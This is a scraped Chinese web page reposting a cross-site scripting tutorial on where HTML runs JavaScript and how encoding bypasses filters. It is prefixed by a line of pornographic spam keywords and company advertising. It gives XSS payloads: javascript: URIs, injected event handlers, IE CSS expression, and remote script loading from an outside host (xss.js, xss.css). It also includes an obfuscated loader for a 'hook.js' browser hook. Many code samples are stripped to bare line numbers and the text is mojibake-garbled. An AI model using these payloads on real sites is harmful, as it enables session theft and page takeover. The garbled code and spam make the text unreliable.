日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
前端安全:know it then hack it

一、html可以執(zhí)行javascript的地方有哪些?

創(chuàng)新互聯(lián)主營(yíng)西區(qū)網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,成都App制作,西區(qū)h5成都小程序開發(fā)搭建,西區(qū)網(wǎng)站營(yíng)銷推廣歡迎西區(qū)等地區(qū)企業(yè)咨詢

先舉個(gè)例子比如這個(gè)代碼

1f4ck

變量$a可控,怎么讓這個(gè)代碼彈框(執(zhí)行javascript代碼)呢?

(1)屬性值引入javascript:[code]偽協(xié)議,來執(zhí)行javascript代碼。也就是$a=javascript:alert(1)

只有引用文件的屬性才能觸發(fā)javascript腳本,這些標(biāo)簽有:

href

action

bgsound

background

value

dynsrc

lowsrc。

1

2

3

4

5

由于這些屬性值不是通用屬性,所以會(huì)在不同的標(biāo)簽中,如果在火狐上測(cè)試不成功請(qǐng)?jiān)趇e下測(cè)試,我用ie6測(cè)試是成功的。

(2)"閉合前一個(gè)屬性值,引入事件驅(qū)動(dòng)屬性。事件驅(qū)動(dòng)屬性的值是javascript代碼,所以可以執(zhí)行javascript。事件驅(qū)動(dòng)屬性是標(biāo)簽的通用屬性,所以所有標(biāo)簽都可以用。也就是

1$a="onclick=alert(1)

2這樣的事件驅(qū)動(dòng)屬性標(biāo)簽還有:

ondblclick

onmousedown

onmouseup

onmouseover

onmousemove

onmouseout

onmousepress

onmousedown

onmouseup

1f4ck

(3)閉合標(biāo)簽,引入

(4)CSS可以通過expression屬性執(zhí)行javascript代碼

expression是ie獨(dú)有的css屬性,其目的是為了插入一段javascript代碼。

1

在ie6下執(zhí)行成功。

1@import"http://www.91ri.org/xss.css";

可以從外部導(dǎo)入存在xss代碼的css樣式。

如果css屬性可控,除了可以在expression后面添加javascript代碼執(zhí)行外,還可以像(2)(3)一樣通過閉合標(biāo)簽和屬性值來達(dá)到執(zhí)行javascript的目的。

烏云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss

綜上,可以在html里執(zhí)行javascript的地方有

1、利用javascript:在屬性值里2、事件驅(qū)動(dòng)屬性3、標(biāo)簽中(包括這種形式)4、CSS中的expression屬性中(僅IE)。

二、為什么編碼后的代碼仍然可以執(zhí)行?

(1)上面的$a是沒被過濾的,但假如被過濾了怎么辦,假如只是黑名單過濾了javascript,或者只是對(duì)$a進(jìn)行了htmlspecialchars()轉(zhuǎn)換。執(zhí)行javascript的地方只進(jìn)行了html編碼。

f4ck

$a的值

1javascript:alert(1)

$a的值

1javascript:alert(1)

$a的值:

1javascript:alert(1)

以上為html的三種編碼。提交后,可以繞過黑名單javascript,進(jìn)行htmlspecialchars()編碼是不會(huì)發(fā)生任何變化的,那么,這段代碼為什么會(huì)執(zhí)行?

因?yàn)檫@個(gè)代碼,瀏覽器從頭解析當(dāng)解析到,$a的值時(shí),正常將它解碼,就變成javascript:alert(1),然后這個(gè)代碼在href屬性中,所以就執(zhí)行了。

三、怎么遠(yuǎn)程加載外部js?

先來說說html標(biāo)記,html標(biāo)記其實(shí)可以分為兩種

1、文本用閉合標(biāo)簽。

例:

f4ck

2、引用內(nèi)容用自閉合標(biāo)簽。

例:

瀏覽器會(huì)在html頁(yè)面加載時(shí),額外向服務(wù)器發(fā)送請(qǐng)求,注:這里是html標(biāo)簽的特性,不要和同源策略相混淆,同源策略是用來限制瀏覽器的。

加載進(jìn)來的js和本域是同源的。

哪些標(biāo)簽可以遠(yuǎn)程加載外部js,并執(zhí)行呢?

1、

1

2、

1

3、

1

其實(shí)3就是dom的方法創(chuàng)建和插入節(jié)點(diǎn)。

1vars=document.createElement("script");

2s.src="http://www.91ri.org/xss.js";

3document.getElementsByTagName("head")[0].appendChild(s);

直接用3用于

viewsource

1

2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));

3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);

4b.src=‘hook.js';

5a.appendChild(b);">


新聞標(biāo)題:前端安全:know it then hack it
地址分享:http://www.dlmjj.cn/article/djsopdd.html